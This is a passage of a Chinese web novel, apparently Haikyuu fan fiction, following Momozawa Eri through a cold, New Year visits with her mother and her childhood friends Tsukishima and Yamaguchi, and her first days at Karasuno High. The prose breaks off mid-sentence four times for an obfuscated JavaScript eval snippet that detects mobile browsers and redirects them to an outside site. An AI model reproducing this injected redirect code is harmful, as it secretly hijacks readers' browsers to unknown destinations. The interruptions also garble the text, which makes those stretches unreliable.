但是据妈妈说,最好避免拖到最后两天才摆放门松和注连绳,因为会被视为忽视神明的表现,所以一定要提前几天准备,所以我是打算今明两天做完的。 关于卫生,我家有专门负责清洁和购买食材的阿姨,她会在我固定出门的时候过来帮忙打扫,我们一般是见不到面的,因为我确实很不喜欢有人出现在我独自居住的房屋里,这会让我感觉到自己的空间被入侵。 我并不要求一尘不染,能在不变动物品摆放的前提下做到干净就行。 至于装饰,我只是想在新年到来之前,按照习俗准备一些摆件,顺便在窗户上贴上一些红红的挂饰,多少增添一些新年的氛围,要求也并不高。 原本我准备了很多,然而一个晚上能做到的很有限,我挑挑拣拣,勉强将整个房屋都挂上一些装饰,然后第二天,我意料之中地开始发热,头痛,流鼻涕。 习惯了,非常习惯。 这就是我不守自破的抵抗力,一具在生病时,例假都会为病毒做出让步的脆弱身体。 幸好只是低烧,倒是也不影响画画。 “叮咚。” 我在画室听到楼下门铃响个不停,心里有些疑惑这个时间谁会来找家里找我,看了一眼门口的监控,结果发现居然是影山选手。 ……这家伙感冒这么严重,一个人乱跑什么呢? 我下了楼,给他开门。 只见昨天还发着高烧,病蔫蔫的少年今天已经恢复了精神,一双深蓝色的眼睛神采奕奕的,就是脸色苍白了些,不过也能看得出来他状态还不错。 影山站在门口,看见我额头上的退烧贴很明显一愣,讶异地瞪圆了眼睛,问道:“你也感冒了?” “是啊,多亏你那一口‘仙气’。”我咬牙切齿:“希望你下次能长教训,感冒了就自己老实一点。” 他挠挠头:“抱歉,昨天好像确实没注意距离,离你有点近了。” 少年直白的道歉让我糟糕的心情有所好转。 “但是这样就被传染了感冒,桃沢,你实在是太弱了。” “……” 好转的心情瞬间急转直下。 ……什么意思? 哇靠,我昨天是看他快死了所以才上去帮忙的。 结果是什么,是自找没趣,自作自受,自讨苦吃诶! 我冷笑一声,我问他:“你今天不好好在家里休息,跑来专门嘲讽我的?” “不是的,我感觉我已经好很多了,不用这么多药,是来还给你的。”他将多出来的两盒药递给我,又说:“我用过的那两盒也会补好新的给你,谢谢你桃沢。” 我:“哦。” “还有。” 黑发少年顿了顿,然后才继续说:“你太差劲了,多少运动一下吧。” “嘭。” 我把门关上了。 拜托…… 谁要在浑身不舒服的时候站在门口听一个关系并不算熟悉的臭男人说教啊! 他到底有没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553750|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点自觉,我到底是因为谁才感冒的! 下次绝对不多管闲事了,今年冬天我还没生过病呢,明明把自己保护的够好了……啊啊啊都怪他! 这件事情,晚上我也是和我的闺闺们狠狠吐槽了一番。 山口忠不愧是我最铁的闺闺,他帮我强烈谴责了影山选手的恶劣行径,并担忧地问我身体要不要紧,一个人能不能照顾好自己。 感动死我了。 我宣布我和小忠是世界第一好。 倒是月岛萤的表情看上去很不以为然,他说:“我倒觉得国王陛下说的没错,你体质太差了,这样都能被传染,但凡你有一点抵抗力,都不至于第二天就发烧。” 我不满地看他:“你到底哪边的?” “我只是陈述事实,你天天待在家里不运动,要么躺要么坐,还很少出门,迟早身体出问题。” “……” 别骂了别骂了TAT 山口忠忍不住笑了一声,在我幽怨看过去的时候,右手握拳放在唇边干咳一声,提议道:“那不如,小桃,正好现在放假,下学期我们要准备中考,也不打算继续社团活动了,你和我们早上一起出去晨跑呗?” “啊……”我有些犹豫:“我肯定跟不上你们的吧。” “当然不会,量力而行嘛。”他说:“而且你的入学测试不是和我们时间差不多?我们还可以找你一起复习。” 诶,这个倒是可以。 我看了乌野高校历年的入学分数线,普通班的分数其实并不高,去年学的内容到现在还在脑袋里没有忘记,稍微复习一下就能够全都捡回来,不过如果想去升学班的话,那就得稍微努努力,必须要取得一个不错的成绩。 画笔的笔头抵在下唇,我想了想,然后侧头看向屏幕上一左一右两位少年所在的方框。 因为是群聊视频,他们所能展露给我的空间有限,月岛萤的表情一直都是淡淡的,视线很少投向屏幕,更多时候是看着镜头外,也许是在看书,又或者在拼着我送给他的恐龙模型,注意力像是并不在对话中,但对我们谈论的事情却能很准确做出回应。 山口忠和我聊的很专心,他没去干别的事情,只是坐在书桌前,端端正正的,一直在看着我和阿月。 很遗憾,东京三年的生活,明明我并不对任何人崭露锋芒和敌意,却依旧没有处好不错的人际关系。 到现在,我已经有些疲于在新环境里挤压自己为数不多的热情。 不如…… 我问他们:“你们的目标应该是升学班吧?” 月岛萤:“嗯。” 山口忠:“如果可以的话确实很想去啦。” 于是我说:“我知道了,等新年过后,我们就找个时间一起锻炼,一起学习吧。” 听到这句话,月岛萤那一直不咸不淡的表情终于是柔和了一些。 他先是“嗯”了一声,而后像是突然想起什么,又问:“你打算什么时候来看看我妈?这几天都在念叨你的名字,烦死了。” “元旦吧,元旦我来拜年。” “哦。” 看得出来月岛萤对我的“回心转意”很是满意,我见山口忠也有些欲言又止的,于是又说:“去完阿月家就来找你,小忠。” 他立马露出一个笑容,点点头应下:“好。” 8.八条鱼 如此商定后,时间很快来到了大晦日。 非常好的是,妈妈从东京赶回了宫城陪我过新年,但她并不能待太久,第二天下午就要坐车赶回东京了。 对此我倒是没什么想法,她能过来一趟都挺不容易的,我也没必要要求太多。 晚上我们一起吃了荞麦面,看了红白歌会,而最重要的则是第二天元旦,妈妈要和我一起去月岛家拜访,看看她那许久没有见面的好闺闺。 嗯嗯,我也要去看我的好闺闺。 妈妈给我带了一套红底白黑花的振袖当做新年礼物,去拜访前我当然是穿上了这件,并且自己插好了发饰,还隆重地上了全妆。 我的审美是妈妈手把手教出来的,她对我的搭配表示十分满意,又给我披了一条狐毛披肩,马不停蹄拉着我出了门。 新年第一天的街道十分热闹,平常住宅区附近都看不见走动的邻居,今天倒是一口气见着了好几个。 然后—— “啊,桃沢?” 我听到了熟悉的声音。 比我先回头看的是我妈。 她在看到影山少年的那一瞬间,眼前一亮,凑过来小声对我说:“这个好,这个好,身高比例都十分优秀,脸也蛮帅的。” 我点点头,不管影山性格如何,他的外貌确实值得夸赞。 这时我才看见,黑发少年规规矩矩地穿着一件黑色外套,脖子上围着蓝色的围巾,身姿挺拔,面容没有过多的修饰,就已经透露着青葱稚嫩的帅气,少年感十足,完全就是一个帅哥。 我还是第一次看见他运动装之外的打扮,看惯了他乌糟糟的模样,现在反倒让我有一种眼前一亮的惊艳感。 而在他身边则是站着一个黑色长发的漂亮女性,看上去年纪并不大,从五官来看,倒是和他有几分相似。 我瞬间被那位女性吸引了注意。 她身上穿的也是暗色,只不过她有搭配亮色的配饰,看的出来身材很好,她的五官精致,口红的颜色很适合今天的造型,整体看上去非常和谐。 我想上去认识漂亮美女,但胆子不够大,站在原地多少有些局促。 倒是妈妈大大方方地A了上去,一人塞了一份年玉,笑容发光——那是和蔼可亲的长辈自带的光芒。 “新年好!你们是绘里在宫城新认识的朋友吧?之前承蒙各位关照,新的一年还请继续多多照顾我们家绘里。”她左手摸摸少年袖子下坚实的臂膀,右手摸摸黑发美女脸型流畅的脸颊,笑容愈发真诚。 “绘……里?” 影山迷茫地看了看这位热情的阿姨,又看了看站在不远处表情逐渐无语的我。 “说起来,你们有没有勤工俭学的想法?实不相瞒,阿姨在东京开了一家模特——” 听到这里,我忍不住把妈妈给拉回来,不好意思地朝那位美女姐姐腼腆地笑道:“抱歉,我妈妈没有冒犯的意思,她只是想夸赞您非常漂亮。” 美女姐姐闻言,面上的错愕变成了忍俊不禁,笑着说:“原来是这样,谢谢。” “我们还有事情,就先不打扰了。”我连忙朝美女姐姐挥挥手,拉着妈妈迅速遁走。 妈妈顺着我的力道和我离开,但嘴里却在抗议:“绘里,真讨厌,怎么就不能让妈妈发展发展新模特了嘛。” “妈妈……这里可是宫城县,您想让他们怎么通勤啊?” “有什么关系,雪宫不是也在宫崎,勤工俭学的拍摄任务不多,地点也不一定是东京。” “他那是觉得模特这份工作有趣才会愿意……反正影山不一样,你省省吧。” 那家伙满脑子都是排球和运动,看上去也并不像是缺钱的样子,怎么可能会大老远跑去东京勤工俭学。 不可能的不可能的。 那对漂亮又有趣的母女越走越远,交谈的声音也逐渐远去,影山美羽这才弯了弯眉眼,侧目看向视线还黏在人家小姑娘身上的笨蛋弟弟,咳嗽两声拉回他的注意力,问道:“所以……刚刚那是谁?” “好像是前一段时间才搬过来的,姓桃沢。”影山飞雄干巴巴的回答,说完这句话,他还很疑惑地挠了挠脸颊:“是她吗?” “不知道啊,人家绘里刚刚都在和我说话,她是你认识的那个桃沢吗?” 影山飞雄有些不确定:“是吧?” 这么一想,他好像完全不知道桃沢的名字,只知道她姓桃沢,但是就像姐姐也姓影山,他也姓影山一样,他不知道这位“桃沢绘里”是不是他认识的那个,又或者是桃沢的亲姐妹…… 毕竟刚刚的那个女生与记忆中的桃沢打扮完全不一样,实在是有些过于好看了,嗯,还更柔和一些,桃沢完全不会用这种语气和他说话。 哦,她刚刚压根就没理会自己,一直在和姐姐说话呢。 所以应该不是吧? 桃沢绘里,不是他认识的桃沢吧? 影山美羽忍不住笑起来:“你这家伙,都是见面能打招呼的关系了,却完全不知道对方的名字啊,好逊,脑袋里面除了排球,偶尔也要注意一些常识吧?” 影山飞雄:“……” 他觉得自己挺冤的,明明桃沢也没问过他的名字,现在也是“影山影山”的叫他。 这次的小插曲只是引起了我和妈妈十分短暂的讨论,得知我和那位影山选手见面次数屈指可数之后,妈妈就没有再提起影山,转而问起我之后关于入学考试的事情。 她还是比较希望我可以选择师资稍微好一些的学校,比如白鸟泽高校,比如青叶城西高校,又或者宫城第一高中……有这个能力的话,其实私立高中是她认为的首选。 我表现出十成的抗拒:“不去私立,我想和阿月小忠一起去乌野。” 妈妈耸耸肩,说:“好吧,绘里只要能高高兴兴地度过这三年高中就行了,我支持你。不过,你也别太依赖你的小伙伴们了,他们也有自己的事情要做,不可能每时每分都把你带在身边,你总要和他们分别,去到别人那里。” 她侧头看向我,继续道:“人各有志,你和他们终究是不同的。” “……”我的脑袋里其实想了很多话去反驳妈妈,但是想到最后,我突然觉得有点没意思。 叹了口气,我半磕着眼帘,含含糊糊地应了一声。 一路边走边聊,很快就到了月岛家里。 月岛阿姨已经等了很久了,不只是我和月岛萤许久未见,月岛阿姨也有好几年没见到我妈妈了。 两个成年人看到对方的那一刻瞬间红了眼眶。 月岛阿姨牵住我妈妈的手,并轻轻拍了拍她的肩膀,轻声说:“这些年辛苦了,美咲。” 妈妈摇摇头,安抚性地按住月岛阿姨的手背,和她一起往客厅走去。 两个闺闺之前的氛围十分和谐,虽然有好几年未见,互相都不知道彼此被生活毒打成了什么模样,但那份熟稔和合拍并未因为时间而磨灭,她们似乎依旧是最懂彼此的好友,拥有的依旧是最纯粹的友谊。 月岛阿姨这里就像是妈妈一个能够全完放松自己的安全屋,从我记事起似乎就是这样。 我也看向月岛萤,朝他伸出手,“来吧,愚民,本殿允许你牵我的手。” 月岛萤:“……” 月岛萤:“有病。” 哇。 他真的很拽诶。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565487|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羡慕地看着沙发上靠在一起的一对好闺闺。 ……唉,这种画面有生之年可能都不会在我身上出现了。 被月岛萤痛骂的我默默收回自己的手,只不过让我感到意外的是,我刚有动作,身边少年宽大温热的手掌在我彻底把手缩回去之前,先一步握住了我微凉的指尖,虚虚地牵住了我。 我下意识看向他。 月岛萤没有回应我的视线,只是闭上眼睛,推了推鼻梁上的黑框眼镜,声音冷硬:“该走了,山口还在等我们。” “哈。”我笑得眯起眼睛,拆穿他:“阿月,你这是害羞了吧?” “……没有。” “那你为什么不敢看我?” “因为你丑。” “哇!这可是妈妈给我买的新衣服,我要和妈妈告状你说我丑!妈妈——” 月岛萤:“……” 他又露出了那种仿佛在学校食堂的饭菜里吃到蛋白质的反胃表情,一把将我拉过去,用力捂住我的嘴,小声说:“你到底是几岁的小孩子?动不动就要去告状!” “我不管!谁让你说我坏话!” “你!” 我们这边的动静引起了妈妈组的注意力,妈妈和月岛阿姨同时回头看向我,有些讶异地看着被高挑少年死死禁锢住的我,随即忍不住嘴角翘翘。 “怎么了绘里?”她问我:“喊妈妈有事吗?” 我丝滑告状:“阿月刚刚说……” 月岛萤捂住我的力度加大,直接把我手动闭麦,回以妈妈一个浅笑,说:“我们刚刚在说现在时间差不多,要出发去山口那里了,桃沢想和您报备来着。” “山口呀!”妈妈当然是记得那个腼腆的孩子的,立刻站起身来:“绘里,要妈妈和你一起去吗?顺便拜访一下那孩子的长辈。” 我:“我唔……” 月岛萤保持微笑:“不用了阿姨,我们很快就回,您和我妈妈很久没见了,难得回来一次,就好好聊聊天吧?” 两位成人组闺闺当然是想在一起多待一会儿的,毕竟妈妈今天晚上就得自驾回东京了,下一次见面不知道要等到什么时候呢。 不过,人虽然不跟着一起去,心意还是要到的。 妈妈给了月岛萤两个白色的信封,一个是给他的,一个是给山口的,月岛阿姨也亲昵地捏了捏我的脸,给了我一份年玉。 在去找山口的路上,我捧着月岛阿姨给我的信封袋,眼睛亮晶晶的。 我说:“果然,还是人都是喜欢收到礼物的,虽然不知道里面有多少,但看着就让人高兴。” “是吗。”月岛萤双手插在口袋里,悠悠地说:“我明年也可以给你准备年玉。” 我闻言抬头看他:“啊?你给我?准备年玉?” 月岛萤:“是啊。” “我靠,你什么身份,你给我年玉?”我的木屐鞋底踹在他黑色的裤腿上:“我小时候还抱过你呢,我给你准备还差不多吧??” 月岛萤捂嘴笑道:“哦呀,但就平常的相处来说,肯定是我照顾你多一些吧?无法自理的小学生?” 我气得捏起拳头:“岂有此理,岂有此理,你把我妈给你的年玉还给我,我要替她收回对你的新年祝福!” “给我了当然就是我的了。” “臭不要脸!还来!” “就不,我还要私吞山口的那一份。” “?!” 我这次真的给了他一拳:“滚呐!” 又挨骂又挨打,月岛萤却反而笑了起来,笑得还很大声。 我不理解,而且待会儿我要和小忠告状! 有贱人要私吞他的年玉! 9.九条鱼 三个人一起度过的新年时间难得可贵,明明春假还有一段时间才结束,月岛萤和山口忠却抓着我在元旦当天做了很多很多事情。 他们借着今天天气不错的由头拉着我去了神社参拜,神社依旧还是三年前的那副模样,依旧鲜红的朱红色鸟居,挂着红色灯笼的参道,以及整体以黑漆漆色为基调的神社大殿,并没有过多华丽的装饰,给人以庄重清净之感。 我仍然走在小忠和阿月中间,他们一个脸上始终带着心情很好的笑容,一个脸上没什么表情,却总是要嘴贱地和我逗上几句,记忆里稚嫩的脸庞和调皮生动的眉眼逐渐被现在帅气稳重的目光代替。 ——小忠和阿月都不是咋咋呼呼的类型,他们懂事聪慧,即使现在还是十几岁的准高中生,但比我见过的大部分男生都要成熟一些。 ……那个爱哭鼻子的小忠,和会拿着恐龙模型吓我的阿月,都已经长大了。 “小桃?” 听到山口忠的声音,我下意识往左边看去:“嗯?” “怎么在发呆?绘马写好了吗?”他问我。 “她早就写好了。”月岛萤双手环胸,视线落在我身上:“挂好之后脸上就是奇奇怪怪的表情,我都怀疑她的新年愿望是‘希望山口忠和月岛萤新的一年给桃沢绘里做牛做马’。” 我的表情有那么一瞬间的裂开,暴跳:“我才不会在一年一次的许愿机会上做这么幼稚的事情,拜托,让你给我做牛马是一件什么很光荣的事情吗?!” 明明就是只会惹我生气的家伙,就算是给我当牛做马,也只不过是一个……诶,等等…… 这个新年愿望,不是超级好的吗! 我沉默半晌,立刻就要去旁边买新的绘马,月岛萤对我何其了解,他一秒看穿我的意图,眼疾手快地给我拽回来,无语道:“麻烦的愿望一个就够了,你还真想奴役我?” 我心虚地挪开视线,干笑几声蒙混过关。 山口忠好奇地凑近了一些,看向我挂上去的绘马:“小桃许下的愿望是什么?” 十五厘米长的木牌上,黑色的线条组成了三张Q版头像,不仅是轮廓和外貌特征突出,脸上的表情也十分符合原主性格,分别是“天使微笑”山口忠、“傲娇眼镜”月岛萤、和“高贵美丽”的我本人。 在三个Q版头像的旁边,用娟丽的字体写下一行很简单的句子。 ——[和阿月小忠做很久很久的挚友。] 山口忠的视线在那行字上停留了好一会儿,脸上的表情也不自觉越发柔和起来。 他侧头看着我,目光灼灼:“会实现的。” 一定会的。 阿月不会放弃绘里,对于阿月来说,桃沢绘里是他记事起就陪伴在身边,谁都无法代替的人。 虽然他很生气绘里在去东京之后一次都没有回来过,也很少和旧友联系,就连阿月的生日也都只是邮个礼物过来敷衍了事,但越生气,越赌气,阿月对绘里就越在乎。 在接到桃沢阿姨的电话,得到绘里在东京的学校休学,以后会在宫城读书的消息后,阿月表面上还是那副对绘里的一切都不感兴趣的模样,可实际上他知道的,阿月的情绪早就已经翻腾不止,阿月在期待绘里的回归。 而自己。 对人产生的感情和依赖并不以时间长短来论多少,只有绘里和阿月不会在意他的弱小,不会在意他的胆怯,什么时候都无条件地站在他身边。 从东京回来的绘里远比之前要粘人,不只是他,阿月也察觉到了绘里对他们过多的依赖,现在的绘里需要他们,正如同之前他需要他们一样。 他明白这种感觉,同时,他打算回应这份情感。 …… 逛了许久才离开神社。 两个少年倒是感觉良好,可我为了今天的美丽,身上穿着束手束脚的振袖和脚上踩着硬邦邦还难走路的木屐,这一圈走下来我感觉自己的脚都快痛死了。 不过即使是这样,我们也是在外面疯玩了一整天,直到差不多要回去吃晚饭了,我和阿月才在十字路口与阿忠分别,两个人重新回到月岛家。 家里许久没有这么热闹过,月岛阿姨和妈妈做了不少好菜,一大半都是我爱吃的,让月岛萤颇为不满地按住了我的头顶,不管我怎么挣扎都完全不放手,漂亮的发髻弄得一团乱,发饰都甩掉一个。 幸好月岛明光及时出现把我解救下来,月岛萤看了一眼自己有点时间没见过的亲哥,轻飘飘地对我哼了一声,转身上楼回房间。 “诶,阿萤。”明光哥喊了他一声。 正在上楼的脚步声停了停,最后却还是继续响起来,并传来了房门打开又合上的声音。 明光哥抿了抿嘴角,叹口气:“这小子……” 心里多少有些失落,不过余光看见我,他的脸上又恢复了笑脸,伸手帮我扶了扶歪掉的发饰,和我打招呼:“好久不见小绘里,最近过得好吗?” “也就那样呗。”我耸耸肩膀:“明光哥和阿月还没和好?” “……也不是,我们没怎么吵过,也就没有和好这一说。”月岛明光干笑着摸摸后脑勺:“但就是这样,事情好像才更糟糕。” 说完这句话,他凑过来小声问我:“之前阿萤不是也很生你的气吗?都把你拉黑了,电话也不接,你们是怎么和好的?” 我也挠挠头,不是很确定地回答:“好像……我们也没有和好这一个环节?反正一起吃饭的时候,阿月就说我可以有事给他打电话,发消息也会回了,对我的态度和以前也没什么区别。” 月岛明光:“……” 月岛明光心态有点崩:“为什么啊!” 我嘿嘿一笑:“不知道呀。” “可恶,我还以为我们两个都是阿萤黑名单上的人物,结果你背叛了组织!”月岛明光流下两行宽泪:“下次不救你了。” “哎呀,阿月的脾气你还不知道,他早就没有生你的气了,只不过心里还有些别扭。”我踮起脚尖伸手拍拍月岛明光的肩膀:“会好起来的,只要还在打排球,他总有一天会遇到一个打开心结的契机。” 当时明光哥对月岛萤造成的冲击不小,毕竟他总是为月岛明光打排球很厉害而自豪,也为月岛明光是排球队里的正选而自豪。 明光哥就读的乌野高校是宫城县的排球强校,他加入排球部的那三年,依旧是乌野排球部实力强劲的时期,同伴都是些比自己强的家伙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576704|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月岛明光没能成为正选,只能坐着冷板凳。 为了不让月岛萤失望,明光哥只能对弟弟说自己成为了乌野排球部的首发,月岛萤也一直这么相信着,结果有一天真相被月岛萤撞破,他发现明光哥并没有获得上场的机会,从而感觉到了被欺骗被背叛,对排球的热情也降低不少。 年纪还小的月岛萤在生气哥哥欺骗自己,不过随着年龄的变化,他的想法一点一点变得成熟,现在却是在反感小时候的自己对排球过于重视,甚至还要害得哥哥不得不说谎来欺骗他。 他自己心里一直在别扭着呢。 要想让兄弟俩的关系恢复如初,还是得月岛萤自己解开症结。 我虽然是有心想帮助他们,但毕竟我不打排球,就算多嘴也会被阿月说成是“只会说风凉话的旁观者”。 我可不想挨这种骂,只能希望他能在未来遇见拥有大智慧的前辈来开导他。 月岛明光呜呜两声,伸手抱住我狂蹭:“小绘里,你还是那个让人安心的小天使,谢谢你呜呜呜呜呜呜。” “等……明光哥你把我当什么了!当猫吸吗变态!” 这两兄弟的性格我真是招架不来,月岛明光就像是把月岛萤的热情全都给吸走了似的,整天活蹦乱跳精力满满,不管做什么都超有干劲,和人相处的模式也和月岛萤完全不一样。 ——反正月岛萤绝对干不出来抓住我就开始蹭这种事。 吃完晚饭,时间已经是八点多。 纵使有再多的不舍得,妈妈也只能和月岛阿姨告别,带我回家拿车。 这次她带过来的衣服不打算打回东京,说不定以后她空闲下来,还会来宫城陪陪我,让我不至于觉得那么孤独。 妈妈坐在黑色轿车的驾驶座上,戴着细链手表的手腕着方向盘,夜晚并没有多余的光线,但她的面容依旧能被汽车大灯,和电子表盘的光芒照亮,也让我能看得清楚她柔和的目光。 “绘里会不会怪妈妈?” 我摇摇头,朝她笑道:“妈妈别多想,你知道我不想做一个束缚你脚步的累赘。比起怪你,我更感谢你让我获得了能做更多事情的底气。” 她突然觉得有些感慨,不过在难得见面的时间里,她不想把氛围弄的那么煽情。 侧过头缓了缓情绪,重新看回来时,妈妈脸上已经重新挂上笑容。 她伸手递给我一张卡,说:“这些是截止今天,画室给你带来的收益,接下来,绘里就好好享受自己的学校生活吧,不要让自己太辛苦。” 我没有推辞,接过来,放在了手袋里:“谢谢妈妈。” “下次见,绘里,妈妈希望你快乐。” “我也是。” 交谈停在这里,妈妈该走了。 车子发动的声音在安静的夜晚显得格外刺耳,红色的尾灯随着车辆的前进越来越远,最后在拐角处消失不见。 有一片雪花,歪歪扭扭地从天上飘下来,落在了我的睫毛上,与皮肤相触时很快融化成湿润的水渍,停留在眼皮上,像是一个短暂的亲吻。 我抬起头,看见了越来越多,洋洋洒洒飞扬的白色。 怪不得这么冷。 原来是下雪了。 10.十条鱼 时间来到美丽的四月。 淡粉色的樱花花瓣在清风的轻抚下代替了冬日的雪花,纷纷扬扬地飘洒在日益温暖的空气中。柔软的花瓣无声无息地落在地面上,给单调的水泥地铺上了一层薄薄的樱花地毯。 乌野高中的公示栏前站了不少身穿着乌野校服的高中生,月岛萤凭借着身高鹤立鸡群,只比他矮一些的山口忠也很大一只,两个人一过去就有学生给他们让路,这也方便了两个少年在榜上找自己的名字。 他们目标明确,乌野高校只有四班和五班是升学班,没费多多少时间,两个人就在四班的区域中找到了自己的名字。 我站在人群外,嘴里叼着根草莓味的棒棒糖低头看手机,听到脚步声靠近,我迅速抬头,就看到一脸严肃的月岛萤停在我不远处,很是可惜地看着我。 “?”我面露疑惑,歪歪头,问道:“干什么?你这个表情是什么意思?……我没进成升学班吗?不可能啊,这个分数应该没什么问题的,难道是没和你们分在一个升学班?” 月岛萤没有说话,我又看向山口忠,他也没有说话。 我顿时心脏骤停。 不会吧,不会吧,不会真的没在一个班吧? 月岛萤语气平淡:“恭喜你,桃沢同学,梦想成真,走吧,一起去四班。” 我:“……” 我:“所以我们是一个班的是吧?” 山口忠点点头:“是的。” “那你们两个还这幅鬼样子!” 月岛萤看到我破防就忍不住想笑,脸上的严肃再也绷不住,放肆地笑了好几声。 “你真有病啊月岛萤!就想挨骂是吧!”我直接一脚踹在他小腿上,气不过,我还给了山口忠一腿:“还有你!你也跟着阿月一起骗我!太可恶了!” 山口忠连忙双手合十求饶:“抱歉抱歉,是我不对,小桃别生气。” “哄不好了,我要转班,我不要和你们一个班了!” 呵,我必须要让他们知道惹怒天神的代价。 于是,自作自受的两个人说尽好话,最后以“以后你的午餐就都由我们负责了”这一条件,和愤怒的我本人达成了和解。 当时我是觉得有让他们付出惹我生气的代价,可后来上课期间我灵光一闪,突然发现—— 他们的午餐都是家长做的,多做一份也是山口阿姨和月岛阿姨在做,这个条件根本就不是在麻烦他们,而是在麻烦两位阿姨。 ……呵,真该死,又被忽悠了。 开学第一天,课务任务没有那么。不仅是老师想熟悉学生,学生也想熟悉同学,新的班级氛围热闹祥和,每个人都是青春热情的模样,好像不管是在哪个小群体,总是会有外向的人拔尖出头,轻而易举就能带动不错的气氛。 当然这种气氛和我没有多大的关系,我不是那种自来熟的性格,也响应不了新同学热情的号召。 刚开学的一周都是社团招新的时间。 不少社团都会在学校的主干道上开设招新点,我站在楼上往下看的时候,还能看到有人穿着初音未来的衣服,戴着标志性的青葱色双马尾假发,手上拿着大葱,在那里跳甩葱舞。 真的是非常有意思,高中和大学时期的社团简直就是乐子发源地。 “我们要去交排球部的社团申请表。” 身后传来月岛萤的声音,他用轻飘飘的一张申请表敲在我头上,继续问:“你要不要一起?” 我回头看他和小忠:“我去干什么?” “你不是没有想参加的社团?”他说:“那就来排球部给我们当经理好了。” “不去。” “为什么?” “运动社团的经理太辛苦,我不想给你洗内裤。” “……” 山口忠整个人一呆,脸上直接红了个彻底。 月岛萤的脸色也由红到白,再到红再到白,最后一手拍在我后脑上,说:“你在东京都学了些什么啊?经理不用给队员洗内裤!” “……嘶。”我捂着被拍的地方倒抽一口凉气,“好了好了知道了,不过你让我想想吧,我考虑一下。” 月岛萤想了想,觉得也行,但这次他还是把我勾走,一起去找了排球部的学长交申请书。 乌野排球部的部长叫做泽村大地,现读高三。 少年的长相不是那么的出众,但看上去很温和踏实,说话的态度很是友善,让人忍不住心生好感。 而听说有人来交排球部的申请表,菅原孝支也跟着泽村大地一起出来面见未来的队友。 这位银灰色短发的少年面容清秀,皮肤和月岛萤一样白,最吸引人视线的是他眼角下的那颗泪痣,属于点睛之笔的亮点,笑起来格外好看。 我喜欢好看的人,这会儿也忍不住盯着菅原学长看了许久。 像是察觉到我的视线,对方微微侧目看过来,对我露出一个笑容。 我一瞬间扭捏起来,拉住月岛萤的衣角,借他的身体挡住我自己。 美、美人在对我笑。 嘿嘿、嘿嘿嘿、嘿嘿嘿嘿。 月岛萤迅速无语:“我说你……” “没关系没关系,小学妹挺可爱的嘛。”菅原孝支摆摆手,笑眯眯地探头问我:“小学妹跟着一起来,是也要加入排球部吗?” 那双眼睛如同盈盈秋水,带着笑意时像是浮动着粼光的美丽水面,连那颗泪痣都炫目起来,简直就是迷惑人心的利器。 我对手指:“我、我我……” “如果小学妹愿意加入的话,大家肯定都会非常高兴的。” “哎这,嗯,那也不是不行……” 月岛萤额头青筋暴起,一只手按在我的头顶,声音压低:“你不是对我说你要再考虑一下?” 他邀请就“再考虑一下吧”,别人邀请就“那也不是不行”。 凭什么?死丫头,凭什么! 我的求生欲迅速上线,立刻说:“考虑一下,考虑一下,嗯嗯。” 月岛萤的火气降下去一些,长长叹口气,对两位学长微微鞠躬,拉着我就往回走。 我勉强跟上他的步伐,不明所以地看着他的后脑勺,奇怪他怎么突然就生气了。 思考半天无果,我反手拽住他的手腕,让他慢点走,并问道:“说起来,你有没有见过排球部的二传?” “问这个干什么?” “上次不是和你提过,北一的那个王者二传去了白鸟泽吗?过不久你们要打IH高中联赛,他肯定会作为二传上场的,我就想关心一下咱们乌野的队伍嘛。” 能在初中时期就有这么大的名气,就算我没见过影山打球,也知道他应该拥有不错的排球技术,这也让我有些好奇,在与他遇上后,和他对位的会是一个怎样的人。 嗯,正常的好奇心罢了。 月岛萤斜斜地看了我一眼:“你刚刚已经见过了。” 我一愣:“是刚刚那两位学长的其中一个?听说二传作为团队的心脏很适合当队长,难道是泽村学长吗?” “……是菅原学长。” “!” 哦! 哦哦哦哦哦哦! 哦哦哦哦哦哦哦哦哦! 是那个温柔的美人学长! 我立刻两眼发光。 我对月岛萤说:“赢了,就冲二传来说,菅原学长已经赢了,今年你们一定可以打败白鸟泽的。” 月岛萤:“……” 月岛萤:“是谁给你的勇气,让你做出这样的预言?” “是颜值。” “……没见你这么夸过我。” 我诧异地看着月岛萤:“我以为你不需要?你长得帅不是公认的吗?” 月岛萤抿嘴。 月岛萤推眼镜。 月岛萤别过头:“别说蠢话,笨蛋。” 别别扭扭地想要夸赞,被直白夸赞之后又会害羞,这一点确实非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 